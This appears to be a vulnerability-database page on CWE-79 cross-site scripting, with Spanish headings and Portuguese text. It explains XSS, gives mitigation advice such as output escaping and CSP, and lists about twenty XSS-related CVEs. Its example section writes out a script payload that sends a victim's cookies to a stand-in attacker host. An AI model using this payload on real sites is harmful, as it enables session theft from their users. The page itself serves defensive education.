Fallos del tipo CWE-79

28.612 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-14863HIGHThere is a vulnerability in all angular versions before 1.5.0-beta.0, where after escaping the context of the web application, the web appliEPSS 1.2%CVE-2020-8127—Insufficient validation in cross-origin communication (postMessage) in reveal.js version 3.9.1 and earlier allow attackers to perform cross-EPSS 1.2%CVE-2022-34870MEDIUMApache Geode stored Cross-Site Scripting (XSS) via data injection vulnerability in Pulse web applicationEPSS 1.2%CVE-2021-24876—Registrations for The Events Calendar < 2.7.5 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2022-0121HIGHCross-site Scripting in hoppscotch/hoppscotchEPSS 1.2%CVE-2024-7815MEDIUMCodeAstro Online Railway Reservation System Update Employee Page admin-update-employee.php cross site scriptingEPSS 1.2%CVE-2018-14655MEDIUMA flaw was found in Keycloak 3.4.3.Final, 4.0.0.Beta2, 4.3.0.Final. When using 'response_mode=form_post' it is possible to inject arbitrary EPSS 1.2%CVE-2023-0776HIGHRemote Code Execution in Baicells QRTB PlatformEPSS 1.2%CVE-2021-32808HIGHCross-site scripting in ckeditor via abuse of undo functionalityEPSS 1.2%CVE-2024-34058HIGHThe WebTop package for NethServer 7 and 8 allows stored XSS (for example, via the Subject field if an e-mail message).EPSS 1.2%CVE-2015-3976—GE Multilink Cross-site ScriptingEPSS 1.2%CVE-2021-24305—Target First Plugin 2.0 - Unauthenticated Stored XSS via Licence KeyEPSS 1.2%CVE-2021-21080MEDIUMAdobe Connect Reflected Cross-site Scripting via query parameterEPSS 1.2%CVE-2021-24991—WooCommerce PDF Invoices & Packing Slips < 2.10.5 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2021-24294—DSGVO All in one for WP < 4.0 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 1.2%CVE-2021-24796—My Tickets < 1.8.31 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.2%CVE-2022-1985MEDIUMDownload Manager <= 3.2.42 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2017-16017—sanitize-html is a library for scrubbing html input for malicious values Versions 1.2.2 and below have a cross site scripting vulnerability.EPSS 1.2%CVE-2025-52879MEDIUMIn JetBrains TeamCity before 2025.03.3 reflected XSS in the NPM Registry integration was possibleEPSS 1.2%CVE-2022-30999HIGHPossible cross-site scripting attack via unsanitized SVG files in FoF UploadEPSS 1.2%